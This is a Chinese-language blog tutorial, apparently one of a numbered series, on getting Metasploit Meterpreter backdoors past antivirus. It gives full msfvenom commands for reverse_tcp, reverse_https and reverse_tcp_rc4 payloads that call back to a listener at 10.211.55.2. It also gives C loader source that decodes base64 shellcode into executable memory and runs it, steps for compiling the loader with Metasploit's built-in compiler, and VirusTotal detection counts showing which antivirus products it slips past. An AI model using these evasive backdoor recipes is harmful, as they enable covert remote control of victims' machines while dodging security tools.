【免殺篇】遠控免殺專題(64)-Msf自編譯免殺補充


當你的才華

還撐不起你的野心時

那你就應該靜下心來學習


目錄

0x01 Msf免殺補充說明

0x02 msf自編譯+base64處理(VT免殺率33/69)

0x03 使用reverse_https(VT免殺率29/70)

0x04 使用reverse_tcp_rc4(VT免殺率33/70)


0x01 Msf免殺補充說明

在之前的專題3和專題4中介紹了msf的自身能實現一些免殺功能,比如使用編碼shikata_ga_nai或者捆綁或者使用evasion模塊生成免殺後門。

遠控免殺專題(3)-msf自帶免殺(VT免殺率35/69)

遠控免殺專題(4)-Evasion模塊(VT免殺率12/71)

其實在msf中還有兩種較爲常見的免殺方式,這裏簡單介紹一下:

1、一種是利用Metasploit的C編譯器進行自編譯免殺;

2、另一種是使用不同的payload來生成shellcode,比如reverse_httpsreverse_tcp_rc4,雖然簡單,但還是有些效果的。

 

0x02 msf自編譯+base64處理(VT免殺率33/69)

Metasploit Framework的C編譯器其實是Metasm的包裝器(Metasm是一個Ruby庫),可用於彙編、反彙編和編譯C代碼。

使用改C編譯器時,需要以下兩個函數:

Metasploit::Framework::Compiler::Windows.compile_c(code)

Metasploit::Framework::Compiler::Windows.compile_c_to_fle(fle_path, code)

詳細使用可參考msf_wiki: https://github.com/rapid7/metasploit-framework/wiki

先使用msfvenom生成base64編碼的c代碼

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.211.55.2 lport=3333  --encrypt base64   -f c

參考https://github.com/rapid7/metasploit-framework/wiki/How-to-decode-Base64-with-Metasploit-Framework-Compiler構造如下shellcode,保存爲1.c文件。#include <Windows.h>

#include <String.h>
#include <base64.h>

unsigned char BASE64STR[] =
"\x2f\x4f--shellcode--\x3d";

int main() {
  int base64StrLen = strlen(BASE64STR);
  LPVOID lpBuf = VirtualAlloc(NULL, sizeof(int) * base64StrLen, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  memset(lpBuf, '\0', base64StrLen);
  base64decode(lpBuf, BASE64STR, base64StrLen);
  //MessageBox(NULL, (char*)lpBuf, "Base64 Test", MB_OK);
  void(*func)();
  func = (void(*)()) lpBuf;
  (void)(*func)();
  return 0;
}

在msf中鍵入irb進入IRB shell,依次鍵入下面命令msf5 > irb

[*] Starting IRB shell...
[*] You are in the "framework" object

irb: warn: can't alias jobs from irb_jobs.
>> require 'metasploit/framework/compiler/windows'
=> true
>> exe = Metasploit::Framework::Compiler::Windows.compile_c(File.read('/Users/xysoul/Downloads/payload/1.c'))
=> "MZ<\x00\x00\x00\x00\x00\x02\x00".......
>> File.write('/Users/xysoul/Downloads/payload/shellcode.exe', exe)
=> 3072

在輸入上面的File.write('/Users/xysoul/Downloads/payload/shellcode.exe', exe)之後,會生成shellcode.exe。

在Msf中監聽windows/meterpreter/reverse_tcp,在測試機執行shellcode.exe,可上線。

打開殺軟進行測試,360和火絨都會報病毒。

virustotal.com中33/70個報毒

 

0x03 使用reverse_https(VT免殺率29/70)

主要是參考Green_m的文章:https://www.freebuf.com/sectool/118714.html,可以一定程度的避開殺軟的流量檢測。

使用msfvenom生成payload

msfvenom -p  windows/meterpreter/reverse_https  lhost=10.211.55.2  lport=3333  -f exe -o payload1.exe

在metasploit中設置:​​​​​​​

set EnableStageEncoding true

set stageencoder x86/fnstenv_mov

set stageencodingfallback false

在VC中編譯後執行,360全免殺

virustotal.com中29/70個報毒

 

0x04 使用reverse_tcp_rc4(VT免殺率33/70)

和上面的方法一樣,使用reverse_tcp_rc4也有同樣的效果,而且不用設置stageencoder選項,更穩定更方便。

msfvenom -p  windows/meterpreter/reverse_tcp_rc4  lhost=10.211.55.2 lport=2223 RC4PASSWORD=tidesec  -f c

利用rc4對傳輸的數據進行加密,密鑰在生成時指定,在監聽的服務端設置相同的密鑰。

在VC中編譯後執行,360全免殺,但是一會兒之後就又被查殺了。

virustotal.com中33/70個報毒

 

參考鏈接:

Meterpreter免殺技巧分享:https://www.freebuf.com/sectool/118714.html

msf_wiki: https://github.com/rapid7/metasploit-framework/wiki

Create a wrapper for metasm's C compiling function:https://github.com/rapid7/metasploit-framework/pull/10007

How to decode Base64 with Metasploit Framework Compiler: https://github.com/rapid7/metasploit-framework/wiki/How-to-decode-Base64-with-Metasploit-Framework-Compiler

 


雖然我們生活在陰溝裏,但依然有人仰望星空!


 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章